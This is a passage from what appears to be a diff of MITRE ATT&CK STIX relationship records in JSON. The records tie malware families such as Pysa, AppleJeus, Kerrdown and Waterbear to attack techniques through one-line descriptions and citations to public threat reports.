list of targeted file extensions.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--7893dc40-721b-4455-b411-3ccda7f4a3a2", + "type": "relationship", + "modified": "2021-03-01T21:55:30.004Z", + "created": "2021-03-01T21:55:30.004Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has used Python scripts to deploy ransomware.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--3cd8146a-8d50-4a36-8d8c-3c80e7b63105", + "type": "relationship", + "modified": "2021-03-01T21:55:30.036Z", + "created": "2021-03-01T21:55:30.036Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has executed a malicious executable by naming it svchost.exe.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--d77aa71a-e37f-4c8e-a4ad-b33a700afb7a", + "type": "relationship", + "modified": "2021-03-01T21:55:30.038Z", + "created": "2021-03-01T21:55:30.038Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--8fd19779-990a-4ce7-9b59-173896e518e8", + "type": "relationship", + "modified": "2021-03-01T21:59:27.451Z", + "created": "2021-03-01T21:59:27.451Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "external_references": [ + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." + } + ], + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) can download additional software including [Cobalt Strike](https://attack.mitre.org/software/S0154) from servers on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "relationship_type": "uses", + "id": "relationship--c4623d45-8a1b-4498-b4bb-579549f2f3b7", + "type": "relationship", + "modified": "2021-03-02T13:42:44.813Z", + "created": "2021-03-02T13:42:44.813Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "Amnesty Intl. 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Retrieved March 1, 2021." + } + ], + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious files.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "relationship_type": "uses", + "id": "relationship--e69ac347-8b74-4fcc-8b13-17d7a1b04339", + "type": "relationship", + "modified": "2021-03-02T13:57:47.577Z", + "created": "2021-03-02T13:57:47.577Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." + } + ], + "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has been distributed via e-mails containing a malicious link.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "relationship_type": "uses", + "id": "relationship--0160acb0-db44-4076-acc6-74c872d5aa08", + "type": "relationship", + "modified": "2021-03-02T13:57:47.582Z", + "created": "2021-03-02T13:57:47.582Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "external_references": [ + { + "source_name": "Amnesty Intl. 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Retrieved March 1, 2021." + } + ], + "description": "[APT32](https://attack.mitre.org/groups/G0050) has conducted targeted surveillance against activists and bloggers.(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "relationship_type": "uses", + "id": "relationship--7133e850-c3f2-48c2-b610-22e3501354df", + "type": "relationship", + "modified": "2021-03-02T14:05:06.837Z", + "created": "2021-03-02T14:05:06.837Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has extracted credentials from the password database before encrypting the files.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--4bfd7ff0-f4a9-48f4-b5fb-1483dc74e760", + "type": "relationship", + "modified": "2021-03-02T16:42:09.473Z", + "created": "2021-03-02T16:42:09.473Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has the capability to stop antivirus services and disable Windows Defender.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--571dc63c-8073-4898-8434-94f8ce2e8d6d", + "type": "relationship", + "modified": "2021-03-02T16:42:09.496Z", + "created": "2021-03-02T16:42:09.496Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has the functionality to delete shadow copies.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--d6dcaa34-12d9-45f3-8f7b-397c2da0995a", + "type": "relationship", + "modified": "2021-03-02T16:42:09.492Z", + "created": "2021-03-02T16:42:09.492Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) can stop services and processes.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--cdbbaa5b-c1d7-4e94-8a0e-a0be60ec377c", + "type": "relationship", + "modified": "2021-03-02T16:42:09.500Z", + "created": "2021-03-02T16:42:09.500Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform OS credential dumping using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--b408ac97-93d7-4cca-ac96-7a61ab99cb5e", + "type": "relationship", + "modified": "2021-03-02T16:42:09.533Z", + "created": "2021-03-02T16:42:09.533Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has used [PsExec](https://attack.mitre.org/software/S0029) to copy and execute the ransomware.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--96417d00-2a6b-4a22-b43c-f65cb60da952", + "type": "relationship", + "modified": "2021-04-27T03:33:35.425Z", + "created": "2021-03-02T16:42:09.554Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) has been installed as a Windows service.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--ee1a14f3-9e2e-44a5-8d1f-4a093dbd0c94", + "type": "relationship", + "modified": "2021-03-02T16:51:57.051Z", + "created": "2021-03-02T16:51:57.051Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has added a leading . to plist filenames, unlisting them from the Finder app and default Terminal directory listings.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--37960736-9995-4ba6-bc65-a1d0cf6ec000", + "type": "relationship", + "modified": "2021-03-02T17:04:18.808Z", + "created": "2021-03-02T17:04:18.808Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced Port Scanner tool.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--fefae8e3-2549-4743-9713-7dfa40c52ae4", + "type": "relationship", + "modified": "2021-03-02T17:22:40.709Z", + "created": "2021-03-02T17:22:40.709Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) can perform network reconnaissance using the Advanced IP Scanner tool.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--15e5a285-2177-462f-bd40-bc68347efcaf", + "type": "relationship", + "modified": "2021-03-02T17:22:40.711Z", + "created": "2021-03-02T17:22:40.711Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has hosted malicious downloads on Github.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--7e2b9c63-69ac-4050-b057-2fe16ef1d355", + "type": "relationship", + "modified": "2021-03-02T17:55:12.066Z", + "created": "2021-03-02T17:55:12.066Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has decoded files received from a C2.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--026d4fb6-4683-4e64-a69c-82e39dd11b23", + "type": "relationship", + "modified": "2021-03-02T18:16:41.008Z", + "created": "2021-03-02T18:16:41.008Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has sent data to its C2 server via POST requests.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--438d3e9d-2a1d-48ba-b615-8ccb502dd15e", + "type": "relationship", + "modified": "2021-03-03T21:21:26.836Z", + "created": "2021-03-02T18:16:41.018Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has created a scheduled SYSTEM task that runs when a user logs in.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--ac85daf7-c5ee-4f53-8ed8-0049ac7cc6e9", + "type": "relationship", + "modified": "2021-03-03T20:26:15.939Z", + "created": "2021-03-02T18:16:41.052Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has waited a specified time before downloading a second stage payload.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--e5cb79c2-2bc0-47e2-be01-6bcf55d4c1a2", + "type": "relationship", + "modified": "2021-03-02T18:16:41.059Z", + "created": "2021-03-02T18:16:41.059Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has loaded a plist file using the launchctl command.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--3eb174df-6b12-484e-89c1-fce208e6cdfd", + "type": "relationship", + "modified": "2021-03-02T18:16:41.055Z", + "created": "2021-03-02T18:16:41.055Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has deleted the MSI file after installation.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--0a068253-0c11-4ba7-bac4-1290e5f50960", + "type": "relationship", + "modified": "2021-03-02T18:16:41.063Z", + "created": "2021-03-02T18:16:41.063Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has used shell scripts to execute commands after installation and set persistence mechanisms.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--60da816d-f78b-4566-9587-b572ad579e15", + "type": "relationship", + "modified": "2021-03-02T19:40:52.897Z", + "created": "2021-03-02T19:40:52.897Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) can check for analysis environments and signs of debugging using the Windows API kernel32!GetTickCountKernel32 call.(Citation: Unit42 BendyBear Feb 2021) ", + "relationship_type": "uses", + "id": "relationship--141036b9-327f-4b13-a561-856697dd138b", + "type": "relationship", + "modified": "2021-04-20T19:17:58.069Z", + "created": "2021-03-02T19:56:01.050Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) has used VBA macros in Microsoft Word attachments to drop additional files to the host.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--3e55d71d-b733-41a9-9ad2-a53131617c78", + "type": "relationship", + "modified": "2021-03-03T16:49:14.692Z", + "created": "2021-03-03T16:49:14.692Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can leverage API functions for execution.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--dfcfd396-1c1f-42c0-ad12-da75d275ccc9", + "type": "relationship", + "modified": "2021-03-03T18:57:21.383Z", + "created": "2021-03-03T18:57:21.383Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can use API hooks on \"GetExtendedTcpTable\" to retrieve a table containing a list of TCP endpoints available to the application.(Citation: Trend Micro Waterbear December 2019) ", + "relationship_type": "uses", + "id": "relationship--88d6a08e-2e96-41de-868f-b41c07d11541", + "type": "relationship", + "modified": "2021-03-03T18:57:21.393Z", + "created": "2021-03-03T18:57:21.393Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can query the Registry to retrieve data.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": 